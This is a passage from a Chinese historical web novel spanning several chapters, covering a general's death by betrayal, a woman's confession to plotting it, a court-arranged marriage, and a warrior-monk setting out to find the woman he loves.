援军的确已至。斥候才探得的信报，道是有一支兵马万余，为首的主帅覆精铁鬼面，距此只有四五十里，显然便是他们渴盼已久的鬼面将军的兵马。 赵芳庭奋力将一个近到身前的敌军斩于马下，脸上的血滴滴答答，“突围！想个屁的援军——” 援军压根不会来，鬼面将军一向与郭显交好，如今想来，或许根本从一开始便是他的人。 郭显想要他死，秾李也想要他死。他们一拍即合，携手将他陷在了这处。 黄沙漫天，飞石染血，无数尸首，是他从江宁所带出的部下。他们千里万里跟随他至此，把性命交在他手，被蒙在鼓里，最后随他一道，赴上黄泉。 他们以命来保单铮。 保单铮……保他什么呢？ 有一瞬间，赵芳庭竟有些茫然，麻木地奋力执戟，斩杀一个又一个敌人，直至战马的马腿被斩断，自己也跌落马下，又在亲兵拼死的保卫下爬起来，顾不得盔歪甲乱的狼狈，顾不得血雾模糊了眼眶，弃戟抽刀，混战在了人群之中。 他压根不想什么援兵，麻木地执刀劈砍，一个、一个、一个。 直至自己的腿如方才战马，被不知何处的刀 枪劈刺砍中，而身边已再没了护卫的部下。 官兵到此时，反而杀势稍缓，各个欲要将他活捉，记个首功。这给了赵芳庭片刻喘息之机。他几乎力竭，在越来越多、越来越高的“降将不杀”的呼声中，又连杀了数人，身躯中迸发出了最后一股疯狂的力道。 官兵拦他不住，不得生擒，只得下死手，取他头颅。 最后一刻，赵芳庭力竭不支，倒在坚硬肮脏的石滩上，望见高远赤红的晴空，薄云在转，在飞逝。 死亡最终予了他片刻的宁静，让他想通了方才想不通的事。 他再不能保单铮，也再无人可保单铮。 死后魂灵若能不灭，他将睁着眼，望着单铮与那最高处失之交臂。 他将徘徊桥头，等着单铮，等他与他一道共赴黄泉，来世真正做一对兄弟。 他再保不了他了。 赵芳庭的首级被割下的那一刻，鬼面人的援军终至。 “赵将军被杀——”他嘶哑的声音犹如泣血，却更像来自地狱里的恶鬼，“剿尽敌兵，为赵将军，复仇——” “为将军复仇！” “为将军复仇！” 为将军复仇——” 万余饱餐战饭的援兵发出震天动地的呐喊，悲愤的怒吼声穿透了生死，使人无所畏惧，如势不可挡的潮水，汹涌卷向才经历了一场恶战、伤疲交加的官兵。 潮水冲垮一切，摧枯拉朽，将刘升的兵马与士气尽数剪灭，夺回赵芳庭血淋淋的头颅，辗转交在鬼面人手中。 那双眼尚不能瞑目，贯彻死气的瞳仁赤红，直瞪着他，仿佛在说：我已看穿了你。 鬼面人将那头颅盛放在一个铺了柔软锦绣的匣子里，阖上匣盖，遮住了死人的双眼。 看穿了，又能怎样。他蜷曲痉挛的嘴角稍牵起一丝微笑。 你死了，单铮便不足为惧。若要怪，便只能怪咱们各为其主。 第127章 第127章争斗几时休，不若隐隐…… 赵芳庭的死讯传来时，恰值宁德军北上、与郑武陵的前军汇合，尸首已草草拼合，盛在一临时寻来的棺木之中，勉强整治得像个人样了，才见了单铮等人。 单铮忽闻此，半晌不敢置信，待及见了那尸首，半晌僵立，如遭了雷殛，急火上涌，竟一口血喷出，面如金纸，险些站立不稳。身旁人欲来搀扶，被他一把甩开，只死死扣住棺，往里盯瞧，从上到下，将他的尸身惨状一点点刻在了眼里，最后停在那一双尤不瞑目的眸子上。 “你若有灵，且缓缓再走，”他咽下血气，目中燃起了滔天的恨意，“我必杀刘升，为你报仇。” 而刘升的兵早已不敢再追。他的三万先锋在追击赵芳庭那一支中消耗不少，如今只得召回江宁附近盘旋的大军，准备待齐聚了，再与郑武陵的边军一战；如今倒像个缩头乌龟似的，只遥遥观望，并不近前。 赵芳庭的后事由钱美几个主持料理。两军对垒之中，诸事不便，草草停灵了一日，单铮亲为守灵。 钱美哭了一场，与旁的几人一商议，还得来问单铮：“如今天热，尸首恐盛放不住……咱们就择地殓葬了，或是想法子送回江宁？” 单铮漠然不动，许久方道：“葬在此吧。” 他声音哑得不像话，面色已然委顿下来，只半日，便憔悴得仿佛垂老。 钱美依言，欲要安慰，出口却只是些干巴巴反复揉皱了的话，苍白无力，沉沉叹了声，出去了。 外头又正碰见六王郭显，两下里说了一番。郭显嘱咐道：“虽就地落葬，却要好生看护坟茔，待来日迁葬回乡，或伴王陵。及赵将军一些随身之物，总要送回江宁，凭吴先生做主，是否要立衣冠冢。” 钱美心中感激他想得周全，一一依从而别。他这头去后琐事不提，那头郭显好言安慰了单铮，半日方回，帐中见表兄郑武陵仍埋头勘瞧行军的舆图。 郑武陵自年轻时便随父镇守边关，到如今已过不惑，自有一番粗粝如磐石的气度，又养成了不敬天不畏神的十分狂妄，见自家的便宜兄弟来了，眼也未离舆图，不过略一沉思，随问了一句单铮如何，又道：“此人倒是真心体恤部下，又极有担当义气，袍泽若此，真是人之一幸。” “怎么，兄长起了爱才之心？”郭显问。 郑武陵撇了舆图，有些意动，“是也不是。我且问你，他可有家室？” “听闻他发妻早已亡故，只有一妾侍奉，旁的倒不曾听说。” 听他如此说，郑武陵果然起了心思，踅摸了半晌，微微地笑了，“不急，他尚在哀恸时，日后徐徐再图也可。” 赵芳庭的尸首难归，随身的一些物件却最终送回了江宁，全城举哀。 留在府署里的折柳闻听，也默然无语，半晌只道：“罢了，愿他在天之灵，当真能护佑宁德军吧。” 秾李便陪着做了一场亡祭，又兼城里冗繁的战事压得人喘不过气，近来才觉稍清闲一些儿，揉揉发胀的额头，黄昏归家，贪着此时无琐事相烦，便想倚着榻瞌睡一晌。 才躺下一二会功夫，忽闻开门脚步之声，晓得是吴览回来了，只是身上疲倦，实在不愿起身。 吴览向来没那样大的规矩，与她之间甚是相得，便如夫妻一般和洽。微微擦黑的小间里，她没头没脑地想，赵芳庭既已死了，日后若有个出路，自己也该正经想想与他的事了…… 正漫无边际，猛地身上被掼下一物。秾李浑然一惊，才觉吴览进屋后，好一会却没开口。她一颤，睁开眼，昏漠漠的天光中，拈起了那掼在身边的物件。 ——半截折断的玉笛。 吴览的声音不像惯常平和，是压抑后的冷淡，“你那支玉笛呢？” “什么？”秾李心头一跳。 “我问，你向日收起的那支玉笛呢？”他近前了两步，到了榻前，俯首时幽暗里瞧不清面色，“你虽不拿来人前，我却总见过几眼。你将它拿出来，咱们赏玩赏玩。” 她强压着紧攥的心弦，挤出和婉的笑来，“那不过是从前把玩的物件。官人是哪里来的断笛，便想起了我那一支……” “秾李，你不认得吗？”吴览沉沉道，压上她的榻前，逼视着她，“这不正是你那一支？你且说来，它是如何归还了本主，害了赵将军身死，又由六王亲自遣人送来？” 秾李不说话，乌黑的两只眸子在他对面映着湛盈盈的晶亮。月初初上了，漫在苍白的窗纱上，她的面色也由此变得苍白，比月还柔和。 吴览恨起来，微微咬牙，一只手按在她身畔，压在那短笛上，一只手却抚上了她纤细的脖颈。 他手心里的那只脖子纤长优雅，有多温暖柔软，吴览早已无数次知晓，也晓得那皮肉下鲜血汩汩流淌，生命脆弱得一折就断。 秾李被迫微微仰头，在他手掌的威胁下，暴露出最柔弱的部位，望着他，却不见了方才那一点摇动之色。 她重新在他手心里，生出了最坚硬的荆棘刺墙。他太近了，便被这尖刺刺伤。 “他已走了，你为何不唤他郭显？”她挤出一个微笑，在他怀里近似呢喃，“还是说，你心中敬畏他，已越过了单将军？” 那只手掌瞬间紧扣了她的脖颈，秾李有几分呼吸不畅，张开嘴，发出了细细的喘声，用那一线生机，以几不可闻的声音委屈向他，“官人。” 吴览仿佛瞬间清明，望她的神情无限复杂，猛地推开她，连自己也退了两步。 秾李倒回榻上，衣襟领口微开，柔白的肌肤在昏晦的屋中、在愈发明朗的月色下皎皎生光，惑了人的心神。吴览心头恨与爱的滋味掺杂，闭上眼，厌恶之情又一点点升上心头。 是了，她一向如此惑人，以致他爱她，愈发地爱她，却忽略了她本性。她或许从来不像示人于眼前的那般纯善无知。 秾李喘息了一回，并不很吃惊张皇，也晓得 遮掩无益，索性揭开那最后一张窗纸，叹道：“你怨我做了小人，好，我是小人，这玉笛是郭显临行前我所赠。赵芳庭的死有我一份罪愆，你尽可罪罚。但事摊在你眼前，你要如何抉择呢？官人，我想你教一教我，该怎样行事？” “你……胡言乱语！”吴览恨道。 “怎么是胡言乱语？以你的才智，不会猜不到这是他逼你抉择吧。”秾李恹恹的，只委坐于榻，连衣襟也懒得拢好，有些讽笑，“郭显生便在龙虎窝里，一言一行都有多少个心眼子，当真肯费功夫亲自料理些琐碎的破事？他将断笛送回，无非是为了以此相告，他与单铮之间，你必要择一主侍之。” 秾李与他，仿佛攻守之势瞬易，这会却是秾李来逼问他，轮到他步步后退了。 “如何？”秾李眉眼盈盈，再问，“我与郭显狼狈串通，陷了赵芳庭一命；你手捏着这样大的把柄，若告与单将军，他必震怒，拼着一死也会与郭显决裂。咱们宁德军，从此便决不能做朝廷的鹰犬了。” 吴览几乎挫碎了牙，如今瞧她，再也没了从前的温情妥帖，只觉今日才头一回识得她真面目。 他说不出话，秾李却又进了一步，问：“又或……便投了郭显如何？你本就是天家的官身，弃暗投明，在你心中才是正道，我说得可合你心意？” 吴览被她的伶牙俐齿逼得走投无路，又不愿当真戕害了她一命，只得拂袖而去，临走丢下冷怒的一句，“我顺天地万民而行，不若你妇人奸心。你好自为之！” 秾李被她遗弃在黑暗窒闷的屋中。 她无声息地喘了良久，半晌归于平静，仍是萎靡地躺着，往日里幽深的机心此时被混沌堵塞了一般，变得痴痴愚愚，满心只浮浮沉沉一个念头：她是私心为之。 她是私心为之，可那又怎样？至少她不像他，忠了一人又一人。她所忠者，从来只有一个。 那短笛半截，玉色潺潺如泉，仍在身边。她慢慢拈起，揉在手心中，冰凉沁人。 她眼望着虚空，缓缓与他临死时不能阖的双目对视，嘴唇微动，吐出无声的话语： 千不该万不该，你不该算计害她。你满心为了单铮，我却也只有折柳一个亲人。你必须死。 宁德军与边军合师的消息随之传入江宁，江宁的守军军心稳固。仿佛士气化为了实在的利刃，官兵不敢撄其锋芒，断断续续竟退走了七八分，至七月中旬，已尽数退去，残留的些许虾兵蟹将，被重整旗鼓的宁德军打得溃散。宗契捉了其中有官衔的小校，问出情由，不由得精神大振。 “是郑将军打出了‘清君侧’的旗号，向洛京去兵，说要为先帝疑薨讨个公道。”他道，“洛京果然已不存兵马。一向道是有五十万戍京畿的禁军，实则不过二十余万。那刘升带走了实实的二十万人，如今边军一南来，便露了馅，他只得仓促回师相救。” 吴览问：“我们如今兵马清点，所剩多少？” “三万余。”他道。 话毕，却也点中了彼此的心事。 哪怕此前并不明了，这些日来，宗契早已清楚，势力的对峙，是以兵马将勇为根基。宁德军如今满打满算不过五万，而边军盔甲精锐十万余，孰强孰弱，一见分明。单铮此一去，与其说是夺什么大位，不如说是为了整个宁德军拼个出路。 都说一将功成万骨枯，以他与单铮相知，晓得单铮是个英雄，却绝做不了枭雄。 他万不会拿部下将士做自己步步登高的踏脚石；相反，若能求得军民万姓安居乐业，哪怕教他做个走卒、做个弃子，他也心甘。 宗契自个儿也没甚执念，不过盼他保全自身。 由此，他沉吟心中事，想怎样说出口，不料却被吴览抢在了前头，“依我之见，如今江宁之围已彻底解，不若你便带大部赶去，与单将军汇合，也好壮咱们声势。” 正中宗契下怀。两下一拍即合，清点了人马粮草，又休整五日，待得七月末，二万多宁德军开拔，一路行向洛京。 临幸之前，家人小乙为宗契整顿行装，私下里道：“高僧此一去，若见着应娘子，千万为我带声好，就说小乙盼得你们团聚归来，往后再不离分、恩爱……” 话音未落，脑壳上被照着敲了一下。 “莫胡言。”宗契板着脸。 小乙却不论，只管嘿嘿地笑，笑得宗契耳根子也发了红。 “这有甚好瞒的，咱们又不是瞎子，瞧也瞧出来了。”小乙见怪不怪，“只您脸皮薄，从来不讲，咱们也就随您……” “都，晓得……？”宗契气短，又不可置信。 小乙很实诚，挠着被敲过的脑门，忝着脸点头，又补充，“也不尽是，后门挑菜的老丈就不晓得。” “……”宗契心思复杂地默默接过了行囊。 第128章 第128章青山遮不住，毕竟东流…… 宫禁森森，金玉笼锁。 可笼中金雀，到底比在外颠沛无着的野禽来得安乐。范碧云吃够了流离的苦，住在这与世隔绝的樊笼之中，反倒有滋有味。 她如今位列九嫔，被呼为“范修容”，独占一蕙兰台，满院的宫人内侍，进出只为侍奉讨好与她；她又正受着帝王恩宠，如今春风得意，是再称心也没有的了。 只是她时常也清醒，晓得自己毕竟根基浅薄，不如台臣世家的女儿，有父兄可依；因此浩荡的恩泽之中，也有些惶惶，总想为自己找个靠山。 恰前几日官家夏祭后田猎，召后妃臣子伴驾众乐。她跟着皇后居于嫔妃之中，遥遥望见那群官衣绯紫的臣子，多是发鬓斑白，因此其中那个湛然神秀、沉默高挺的青年便格外惹人眼目。 是元羲。 范碧云心中大感意外，却渐渐又在意料之中，忍不住格外多瞧了几眼，只觉如隔世重逢，生出了几分淡薄的思念来。 一场狩猎直到日午偏西，便于猎场青庐之下，官家分赐了猎获，着膳官炙烤烹煮。臣子们围坐一处，妃嫔别居彩幔之后，两下里便再瞧不见。 皇后去到了官家的青庐之中，新进的几位嫔妃多是年轻之辈，压不住性子，言语说笑起来。谈着谈着便谈到了元羲，道他如今正深受圣宠，几月来连升多级，前不久才授了翰林学士知制诰衔，选为经筵侍讲，可谓恩荣贵极；如今才是弱冠，正可想见再过几年，待年资够了，便是宰执的人选。 后妃们对他有多国之重器不感兴趣，她们更感兴趣的是他的家宅轶事。 “据说他已有一房妻室，几多波折，如今多家媒妁登门，要为他续弦，却都被拒了。”一人道。 “怎么就续弦？向来不曾听闻他有妻室！”另有人道，“我是晓得的，他曾与应氏女有过婚约。如今那应氏回京，也不知可能续旧姻缘……” 可也风传应氏女流落在外，声名已毁，想来两人是不配的。她们叽叽喳喳，便将眼光都放在范碧云身上，问她：“修容不是新入宫的么？此前可曾闻听什么？据你所闻，元官人与那应氏，可能成旧好？” 那些目光一道道探究似的往她心底里钻。范碧云吃了些炙肉，饮了两杯淡酒，渐渐地面色薄红，发了怔，没由来飞入一个念头，落入心缝里生根发芽，稳当起来。 她点头，起先轻、而后重，越来越笃定，“能的，一定能。” 一定能。心缝间那茁壮的根苗发出声音：或能，或不能，端看你是否为他美言。他与她两个，一个与你有恩，另一个与你也有恩。总之那元郎君与你也无缘，不如便彻底撒手，帮他一把。他得了好处，念你的好，岂不是你现成的靠山？ 她打定了主意，为求稳妥，千方百计又托人宫外行走一趟，打听了些风闻。 那位女官回来，悄悄儿说给她听：“这一二月间，走动愈发频繁，三日登门五回是常有的事，都说念旧、好事将近呢！” 范碧云便彻底放了心，打发了女官，回头找了个时机，侍寝伴驾之时，拥着人主郭禧道：“妾寒微时的旧事，三郎一向是晓得。那时多蒙元官人收留，在他府上存身，如此大恩，总想有朝一日还报。前日恰巧听闻应氏女回京之事，三郎，妾便求您一桩姻缘，可好？” 堆锦的销金帷幔之中，郭禧被她尽心侍奉了一回，正是心意舒爽，闻言眯起眼，摸着枕边人浓密柔顺的乌发，并不惊讶，“朕做皇子时便早知他二人，是一对玉偶。只是如今墨池是朕的股肱，那应氏女差意了些。” 范碧云心头明镜似的，哪里是差人意，不过为着她是应公之女。应公与郭禧多有阻碍，连带着应怜便不入他的眼。若不是先帝已平了应氏的冤狱、定了文献公的名分，郭禧早便另指一门婚与元羲了。 “虽身份上差些，但俗言说得好，做生不如做熟。”她晓得郭禧喜恶，便只字不提什么文献公武献公，专挑人主爱听的来讲，“三郎是要用元官人，样样都想与他最好的。只是婚姻之事，总得要称本主的心意，否则便不是结亲，而是结仇了。再且说，那应氏女孤苦伶仃，若无依靠，真不晓得她在这偌大的京城要怎样活下去……” 她的话字字说到了郭禧心坎里，尤其是那一句“孤苦伶仃”，使他心中一动，说不出的熨帖，便笑道：“以你的意思，朕若玉成了他们的好事，那还是做了一桩天大的善事？” “那是自然，便不说外人觉着三郎圣明，单就那元官人，必念您一辈子的好！”范碧云眨着一双乌溜溜澄澈热忱的眸儿，含了滚烫的情意，手肘半支起，盯着郭禧。 郭禧偏爱她这般温良懵懂的风。情，重重往她脸颊上一捏，翻身将人压在身下，威风又陡涨了起来，“莫想什么猫儿狗儿，好好侍奉，朕亲口允你，若诞下个一儿半女，进你为四妃，如何？” 范碧云自是谢恩，一宵曲意逢迎，使郭禧享尽了御人之乐。 转过天来，谕旨赐下，中贵人直入元府中门，传旨为元羲与应怜赐婚。 三日后，应怜那处，得了宫中拨下的好一番花红表礼，早已有了元羲的知会，便也不意外，只安心坐着，聊聊在锦帔上刺两针，权作绣嫁衣待嫁。 她居于自个儿院中一座小楼之上，敞着窗儿，望下便见喜气洋洋、彩幔张挂的院落，点染得幽静全无；荼蘼花残，绿盛红消，廊边琉璃瓦下却依偎着一点红粉，正是当日亲手栽下的三颗莲子，俱已长成莲叶亭亭，眠风宿月，如今打了三个骨朵，深深浅浅的嫣粉如美人的指和唇。 她与宗契已一年多未见，全凭着这三株青莲，日夜相对，琢磨着他的心思，好教漫长的时日过得快些。 只是时辰一点一滴，漏尽钟起，昼夜仍长得枯索人心肠。 正发呆时，外头报说：“元官人到了！” 应怜回神，下小楼，庭院中迎见了他。 如今已是定下了的夫妻，下人们将元羲作半个主人看待，烹茶添香，齐备了花果，又言笑晏晏地撤下，留与他二人说体己话。 元羲道：“过不上两日，我母亲便至了。” 应怜有些迟疑，“按礼，我该去拜见一回。” 他笑了笑，刹然如神仙丰彩，又携她到了荼蘼绿荫下的小石桌旁，坐着说话。 “我会看待好她，你不必去拜见。”他道，“她也不会来登你的门。婚事毕后，我便将她送回老家，侍奉父亲。” 应怜点点头。 自元相辞官，携妻子回祖籍池州，与元羲的骨肉恩情便如藕丝，渐连渐断，最终由元羲一手彻底断绝，只糊了个表面文章，父慈子孝地与外人看。 他锁着父亲在祖宅，不与外人交，僮仆皆是他的耳目；迫兄长外放边远、或罢官远游，无一在旁；母亲刘氏怨怼指责，怒他不孝，却也无法，眼睁睁瞧着箱奁行装被一一捡拾，跟着回了池州，如今因着儿子婚事，没个高堂在席不像话，又牵丝傀儡一般被接了回来，外人道她老诰命吉祥如意，只她自个儿晓得有苦难诉。 【“母亲毕生之愿，不就是门庭华彩、儿辈玉树么？”刘氏不甘回池州前，元羲临行送别，果然立于十里亭外，如道旁玉树，龙章凤姿再无出其右者，“您但安心回乡，与父亲相伴；儿子自会扫除污秽、光大门庭，不负您谆谆的教诲。” 刘氏彷如被一巴掌打在脸上，面孔火辣辣地疼，又气又臊，呜呜哭了起来，又满面地哀求，“我毕竟是你母亲，二十载骨血养育，纵有些不是，也都是为了你好！你便为了那一不值钱的小……” 话出一半，却又止在了他如薄冰般雪亮却寒凉的眸光下，期期艾艾：“……那女子……你怎能为她一人，断了骨肉亲情！你这样胡为，岂非也断送了自家的根基！父兄皆在朝，才好……” “母亲教诲的是，念在咱们骨血亲情的份上，儿子纵有些不是，还望您涵让。但归得乡，必不使您困顿劳苦。”元羲打断她的话，亲自扶上马车，外人好道是一出母子情深的场面，唯有挣脱不得的刘氏清楚，那只手钳制的气力有多大。 她畏缩地望着儿子，望那个曾无知无觉被揉在手心、蒙在鼓里、对父母敬重孺慕的少年。晨曦洒在他肩头，落下一片阴影，高长 的身形如雪砌玉山。刘氏才恍然发觉，他不知何时已挺然长成，温雅淡然的外表下，早已侵染了浓重的冷峻与阴翳。 她既愧疚，又愤怒，更有恐惧，带着一层又一层的不甘，随着辚辚的车马走远了。】 从此元羲便是独自一人。他像一只风筝，亲自斩断了做根基的丝线，却又乘风飘摇直上，执意越飞越高，并且心中十分清楚，直到断裂坠落为止。 在坠落之前，他将登上那不胜寒的高处，心中既无原则，也无敬畏，也许还剩残留的一点牵挂，愿借好风之力，送她一程。 元羲随她去观了嫁衣。 外袍是一件厚重繁复的深青鞠衣，为天子特赐命妇规制。应怜本有些难为情，元羲却坦然，左右瞧瞧，评道：“太暮气了，压人，你穿浅的好看。” “嫁妇都是穿青，哪有穿浅的？”应怜噗嗤乐了。 两人观量一番，指指点点，仿佛幼时得了件新奇的玩意儿，瞧个新鲜。 应怜心中不知如何，又隐隐地可怜他，想劝慰却无从开口，思想半晌，终道：“要不，我穿一回你瞧？” 元羲欣然，且道：“是了，真那一日，宾客芸芸，你又得掩扇，我恐怕见一面春山也难得，实在可惜。” 应怜便不扭捏，任敞着门窗，将鞠衣披穿在身，并未换头冠裙钗，权且与他一观，见他瞧得仔细，不禁问：“如何，还过得去么？” 她绰绰立在前，淡金的光辉映入室，流转在锦绣的丝衣上，使得那白鹤环翔、奇花吐蕊。无限瑰姿艳丽，却都不如她婉转无瑕之貌。元羲不错漏她容态一分一毫，静静的片刻后，长舒了一口气。 “我此生之愿足矣。”他唇边轻松地扬起了一丝笑意，极短暂的一刹那，又使应怜仿佛瞧见了那个白马玉壁的少年。 应怜眼眸微微湿润，与他相对而笑。 她如轻舟白水，绕过叠嶂千重，郁郁青山终遮不住，明光盛放，与他背离而去。 第129章 第129章两情相好方为姻 单铮的宁德军与郑武陵的边军合师北上，一路来也遇到官兵拦阻，却势如破竹，节节得胜。到七月末，后头刘升的禁军虽终于召回集结，却已不敢轻动。 “他是最后一支劲弩，如今箭在弦上，迟迟不发，只为咱们一旦攻取洛京、与京中所剩的兵马相持之际，他好趁势夹击。”单铮抽丝剥茧，于一堆杂乱的斥候信报中推析出。 郑武陵也作此想，十分赞同，又哈哈大笑，“兵者，刃也。他握这样一柄利刃在手，也不怕伤了自己！也好，他不发兵，正予了我反间计的时机。” 单铮稍一深想，略略拧眉，想到什么，一时却未言语。 他身旁的郭显也已料到，道：“我那三哥可不是什么好性儿的主，急躁易怒。刘升倒是个战将，也忠心，我反不忍将他推至绝境了。” 话如此说，计议却默契地定了，当下连营暂住，郑武陵遣散些俘虏，与混杂的斥候探子一道，去向洛京城中，放出幌子来，只道刘升迟不发兵攻打，是有心投靠前来清君侧的义军之故。 计是好计，只是阴损了些。刘升的家小俱在京中，他若不被逼着赶鸭子上架，匆促来攻，枉填上些人命，一家老小便不能保全。 议事散后，单铮罕见地带了壶酒回营帐，在近黄昏的微微暗沉天光里，慢慢地自斟自饮。 酒不是什么好酒，有些浑，也有些酸，更不能醉人。他独自饮着，头脑里便飞旋过了许多杂念。 一会儿，却有人掀帐帘进来，不是来报事的亲兵，却是一身衷甲未褪的郑武陵。 郑将军身量较之常人魁胖，进得帐来，便遮掩了他眼前一半的光亮。单铮抬头，只见了他毫不见外的爽直笑容，混着那副因常年在边关风吹日晒而粗粝的皮肤，愈发显得粗野。 “怎么独自饮酒？”他进来便道，当即唤人取过碗盏来，“当心多思伤身。怎么，你有心事？” 碗盏被取来，单铮便不独占，亲为他注了一碗，与他对饮，“离洛京愈近，谁能无心事？” 郑武陵却呵呵微笑，仿佛看穿了他所想，“你不必瞒我，可是觉着今日之计不妥？” 单铮道：“是好计。” “既称好计，又何必妇人之仁？”郑武陵道，“你因刘升的家小无辜而不忍，可咱们这一支义军，上下谁又无家小？咱们若败了，那些人又该如何存世？” “将军不必劝我，我不是初战之兵，晓得事理，不会因小不忍而乱大谋。”单铮饮了一碗酒，未见丝毫醉色，“倒是您此来有事？” 郑武陵也一口饮尽，再彼此斟满了，先笑，而后道：“既说到家眷，我多事问一句，听闻单将军家室虚置，还未有妇？” “有一内眷。”单铮答。 “大丈夫，只有一妾算什么成家？似你这般峥嵘伟俊，便是配公主也使得。”郑武陵终于道出来意，“我也有见人心喜的毛病，爱你如此英雄气概。若兄弟不弃，我愿为你做个媒，如何？” 单铮一顿，“多谢将军抬爱，只是……” 郑武陵以为他有所顾虑，接道：“你放心，是我的内侄女，品貌一等一出挑，年才十六，家中世承郡公衔。怎样，配你这般英雄可够？” 他面上漾着笑意，已将单铮上下如所属物一般审量了二三回，越瞧越是爱重，也晓得他身份上略低一些；可那些都不算，但得他一点头，便是自己麾下人才，到时什么样三公锦绣的前途不能有？ 而单铮只是面有歉色，已站了起来，却不卑恭，“将军所言甚美，我却不能答应。我已有妻，如何又能停妻另娶？” 郑武陵一愣，一口酒饮下，囫囵道：“原来是我打听错了，无妨，喝酒喝酒……” 二人又喝了一坛子，这才别过。 郑武陵微醉，并不回营帐，却晃晃地来到了表弟的帐中，掀帘便埋怨，“你哪里来的歪信儿？单铮已有了妻室，却怎么说他只有一妾？教我徒生尴尬！” 天已略晚，日头落下得迟，帐中方点两盏灯烛，烛下郭显本在看书，闻言抬头，思索片刻，道：“我并未诓骗，从不曾听说他有正妻。想来是那妇人颇得他幸爱，身份又寒微，他不愿娶个门庭太过显赫的妻子，闹得家宅不宁。” “这么说也理当。”郑武陵仍是想拉拢单铮，于是追问，“那妾是什么家底子？” 郭显灯下的面颊如温玉，笼罩着一层静谧的淡光，十分有沉稳的君子气度，只是两只眼眸清明而深沉，藏了窥不见底的城府，“曾做秦楼楚馆的行当。” 郑武陵脸子呱嗒一掉，只觉脑子里更发昏，捂着额半晌方道：“……忒小家子气！没见过世面的后生！” 恼了又一刻，他才咕咕叨叨地往回走。郭显在他身后，问道，“兄长这媒还保不保？” “容我想想！”郑武陵丢下一句，气冲冲头也不回走了。 回去后，郑武陵果然思想了整整一宿，末了仍是舍不得单铮万里无一的出挑人品武艺，想着总不至为了一个娼妇便舍了这样大的英雄，又思索了一回自己那妻弟郡公家，饶是那头有些怨言，他也一肩担了。 主意已定，便又来寻单铮，言及婚姻之事，道已晓得他家中境况；又道那家眷无妨，他内侄女自小熟读《女诫》，最是贤淑，有容人的雅量。 单铮一双浓烈泛红的眉峰几乎拧得化不开，瞧着便似隐有发怒的架势，却仍压着性子，有礼有节地回绝，“想是又教将军误会了，我那妇人是妻，不是……” “我已遍打听过了！”郑武陵摆手，十分不以为然，“没过明路，是妻是妾又何妨？但只教你晓得，她是什么样人？我内侄女又是什么样人？好比一个是陂池泥沼，一个是天上明珠！她好占着你的妻位不让么？” “将军慎言！”单铮实在忍不住，不愿教人那般贬损折柳，已有了怒意，与他相峙，“糟糠之妻不下堂，她纵是卑贱，我单某也不是怎样高洁的人！我夫妇配不上郡公高大的门庭，姻亲之事，不能强配，还请将军另择贤俊！” 郑武陵被气得倒仰，脸红脖子粗地摔帘门走了。 媒妁婚事，就此作罢。 离洛京二三百里时，军营附近陆续多了不少杂卖的商贩，甚至有走脚的勾栏百艺。歇战闲暇之际，将军们倒也不拘着兵士，两日里总有半个时辰，稍稍放其玩乐，以调剂枯燥紧张的行伍生活。 随之而来的，是各样千奇百怪的消息耳闻，大抵与众人不曾见过的帝京有关，什么某某贵妃养了五只脚的犬儿、某某神祇白日显灵医病、某某校尉日行千里云云。其中自然少不了一件最引人吃惊的事：京中最炙手可热的显贵元官人，即将迎娶旧日的婚约之妻——曾流落民间数载的贵人娘子。 这桩事本就一波三折，有些传奇的色彩，又有人编曲、编词、编戏文，军营里外唱了个遍；当中听者，又有那明白其中隐约的，回营一说道，不多时，各个便知晓了。 连单铮也有所耳闻，却不如一般将士那样欢喜作乐，反更添了一层纳闷与忧心。 好巧不巧，才接到宗契的信报，说带着二万多宁德军赶来。想他尚未听得此信；但也不知他若晓得，该作何想。 单铮不是傻子，外头普通兵丁只晓得“应怜”这样一人，以为那是高僧宗契的亲眷，甚至一度歪传成一母同胞的兄妹。但内中相熟者，谁也都瞧出来那层情好的意思，只碍着宗契是个出家人，明面上都不提罢了。 如今应娘子要嫁人，果真是那曾千里辗转来寻的元郎君，如今已做了官人。单铮忆起从前所见元羲的人品样貌，果真是极其相配。 他心叹一声，将宗契手书的信报收起，不再想那些个乱缠的儿女私事，转去思索下一步棋该如何布置了。 果不其然，三日后，才八月头上，一支浩荡荡锋芒未损的人马，赶上了义军。为首领军者，风尘仆仆却难掩峻拔磊落，卸了甲，着起常穿的灰布直裰，风骨清朗有如山巅乔木，极其惹人眼目，正是宗契。 二人相见，说不出的感慨心喜，当下接风叙旧，互通别后各自的事体，至晚方歇。翌日交接虎符兵权，将领兄弟几个，一如往昔，情深义厚；只除了有交情的几人，私下里窃窃，不知是否要 将听来的传闻告知宗契。 便一连过了几日，声势愈壮的大军再次开拔，刘升的官兵试攻过几回，但仓促不整，料想是京中君王逼迫之故，果然无功而返，平白折损了好些人马，由此不敢轻易再动，仍尾随着伺机攻取。 至此，天下泰半已入义军彀中。 宗契自交接了兵权，卸了一身兵戎，反倒比守江宁时轻松。单铮原本盘算着一同攻入洛京，再与他分说私事，却不想哪有不漏风的窗，没几日，宗契便自寻上门来了。 单铮望见他铁青的面色，便晓得了原委，叹道：“如今大军行程从容，并非不可分神之际。你若想做什么，但去便是。” 宗契久未开口，单铮也不催，只耐心等着。果然，将近一刻，他缓缓长出一口气，不知是下定了什么决心，道：“我要去见她。” 单铮点头，并不意外。 “传闻未必真，我总得当面问个清楚。”宗契沉声道，“刘升已是惊弓之鸟，想来近日不敢再攻。我行事会谨慎，去去便回。” 单铮听他无一句诉苦非议，忍不住问：“去自无不可。但若传言为真，你要怎样？” 宗契沉默，半晌恍如梦醒，向来沉稳洒落的面孔上，生出了一丝阴霾。 “若为真，我与她，便了断干净。”他立起身，收起那一点迷惘与难堪，在单铮略有忧心的注视下，与他告辞，离开了营帐。 第130章 第130章逐月天上去，浮云几度…… 应怜人在洛京城内，说见，哪是草草就能见着的。宁德军这一行人，光是画影图形，张挂在城门口的，便有二三十个，当中他的尤为惹眼，如今出入京城的僧人，凡高壮些的，都要被拿来先诘问过一番，而后才能行。 故此，宗契想了个稍微稳妥的法子。他星夜兼程，先去了一趟去岁曾去的香山寺，只在洛京城南不远，扣门问询。 开门的僧人上下打量他，似是觉着眼熟，却又一时想不起何处曾见，“师兄前来挂锡么？” “并非，我来寻人。”宗契门前行礼，岿巍的身量将人气势上压下一头，“向年曾造至宝寺，是送一位应氏娘子而来。” 僧人大悟，忙请入内，一面奉茶，一面殷勤问：“法师此来，是为了寻……” 因是男女僧俗之别，他便不大好道“应娘子”三字。宗契会意，答道：“我并非为寻应娘子，只愿见宝寺住持一面，有些事体要求告。” 